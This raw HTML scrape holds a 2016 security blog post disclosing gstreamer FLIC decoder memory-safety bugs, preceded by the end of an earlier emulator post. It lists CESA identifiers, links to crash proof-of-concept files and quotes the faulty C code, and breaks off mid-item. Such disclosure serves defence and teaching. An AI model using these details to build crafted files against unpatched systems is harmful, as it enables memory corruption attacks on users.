transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0x7F: // RET1</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> temp = *sp;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> SET_PC( GET_LE16( sp + 1 ) );</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">- sp += 3;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">+ SET_SP(GET_SP() + 3);</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> goto set_psw;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> case 0x8E: // POP PSW</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> POP( temp );</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 10.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Appendix B: Godspeed to you, Terry Pratchett</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">“There is another point, of course. It would be a tragedy should anything untoward happen to our little visitor. It would be dreadful if he were to die, for example. Dreadful for the whole of our land, because the Agatean Emperor looks after his own and could certainly extinguish us at a nod. A mere nod. And that would be dreadful for you, Rincewind, because in the weeks that remained before the Empire’s huge mercenary fleet arrived certain of my servants would occupy themselves about your person in the hope that the avenging captains, on their arrival, might find their anger tempered by the sight of your still-living body. There are certain spells that can prevent the life departing from a body, be it never so abused, and- I see by your face that understanding dawns?”</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<span id="docs-internal-guid-e89bdaa5-f714-b0ec-520b-cb147334e754"></span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">“Yarrg.”</span></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com12tag:blogger.com,1999:blog-3024470480937744884.post-33933138756714174322016-12-05T19:12:00.000-08:002016-12-05T19:12:56.820-08:00[1days] [0days] [PoCs] More gstreamer FLIC / vmnc issues<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Overview</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A part of any intellectually honest full disclosure experiment is to disclose the less interesting findings alongside the more serious issues and exploits.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Accordingly, if you were looking for spectacular 0day exploits, this is not the post you are looking for. If you’re generally interested in software failure conditions, though, here’s a bunch.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">While looking at the gstreamer FLIC and vmnc decoders, I noticed various other issues aside from the ones that have already been blogged about. Some of these issues are also serious while others are trivial. For most of the issues, I have to commend the gstreamer team on a great job looking for variants of my </span><a href="https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">initial post</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and in particular giving the FLIC decoder a thorough examination. For many security “fixes”, a project or vendor will just patch up the immediate issues reported, but gstreamer looked at the surrounding area of the initial fault and patched up many additional issues independently. Therefore, most of the vulnerabilities disclosed in this post are now 1days and not 0days.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">1: FLIC decoder: uninitialized output canvas</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(CESA-2016-0005)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Looks like it’s still an 0day. Images are from Fedora 25 with all updates applied.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">File: </span><a href="https://security.appspot.com/security/flic/uninitialized_rendering.flc" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">uninitialized_rendering.flc</span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This one goes first because it is nice and visual. The bug is that the output canvas is allocated but not initialized. Therefore if you have a file that does not start off by clearing the screen, or rendering an entire first frame, you will have uninitialized heap memory in the output canvas. It looks kind of pretty. Is that pointers I see? :-)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img alt="flx_uninit1.png" height="237" src="https://lh5.googleusercontent.com/8cr4rezKVDslesnkYCguTZKrJrbrlYeVY_KlkzeGJPN_MYW29_PNHwY6h8206yMZRBvHNsLZj23CYf-3v-cKow4V5CfmdQz5mAQgnHExwcK1f--K3oayDoI4-fUsWyHaZob4h0eX" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="320" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img alt="flx_uninit2.png" height="237" src="https://lh3.googleusercontent.com/8PCc8TQfnBuJa5CxbKQAZDMc_wZubg8_Y3pa3yCQaYoMMu6lAm3UymJGuQoY-UcAbEW1ETzaOu8pI5JEwFEIgW7qzZ4QdQ2Owm3_9yQOhxJp4xK4FRSZOsru1girfqvqJXZ0_hM0" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="320" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">2: FLIC decoder: out-of-bounds writes in FLX_SS2 command</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(CESA-2016-0006)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A near identical vulnerability to the one I exploited in the FLX_LC command. Caught and fixed by gstreamer upstream; patched in latest Ubuntu and Fedora updates. </span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">File: </span><a href="https://security.appspot.com/security/flic/crash_delta_flc.flx" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">crash_delta_flc.flx</span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">3: FLIC decoder: integer underflow and subsequent wildness in FLX_BRUN command</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(CESA-2016-0007)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Caught and fixed by gstreamer upstream; patched in latest Ubuntu and Fedora updates.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">File: </span><a href="https://security.appspot.com/security/flic/crash_brun.flx" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">crash_brun.flx</span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The faulty code:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gulong count, lines, row;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> row = flxdec->hdr.width;</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> while (row) {</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> count = *data++;</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> if (count > 0x7f) {</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* literal run */</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> count = 0x100 - count;</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> row -= count;</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> while (count--)</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> *dest++ = *data++;</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As you can see, no consideration was given as to whether any “run count” is in fact greater than the remaining number of pixels in a row. If that happens, integer underflow will occur on the </span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">row</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> variable, which will become a very large (2^64 on 64-bit) positive integer. The loop will continue and suffer from buffer overflow on the output canvas and buffer overread on the input buffer. With no obvious way to exit the wild copy loop, exploitation is not favored.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">4: FLIC decoder: out-of-bounds read with wild chunk size</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(CESA-2016-0008)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In general, the FLIC decoder lacked any defences for reading off the end of the input buffer. Tons of bugs here. But a gstreamer rewrite to avoid raw pointer access and use buffer object APIs for reading and writing seems to have fixed this area reasonably. Bravo.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">File: </span><a href="https://security.appspot.com/security/flic/crash_massive_chunk_size.flx" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">crash_massive_chunk_size.flx</span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The most obvious way to demonstrate this was to declare a chunk in the file with a huge size. The input pointer would be incremented by this size and then the next chunk header read from a wild location, leading to a crash.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">5: FLIC decoder: integer overflow in output buffer allocation</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(CESA-2016-0009)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Looks fixed in the code; untested.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">File: </span><a href="https://security.appspot.com/security/flic/crash_buffer_int_oflow.flx" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">crash_buffer_int_oflow.flx</span></a></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This bug is more interesting than it first appears. The faulty line of code is simple enough:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> out = gst_buffer_new_and_alloc (flxdec->size * 4);</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">But what type is </span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->size</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">?</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">struct _GstFlxDec {</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gsize size;</span><span style="background-color: transparent; color: black; font-family: 'Courier New'; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
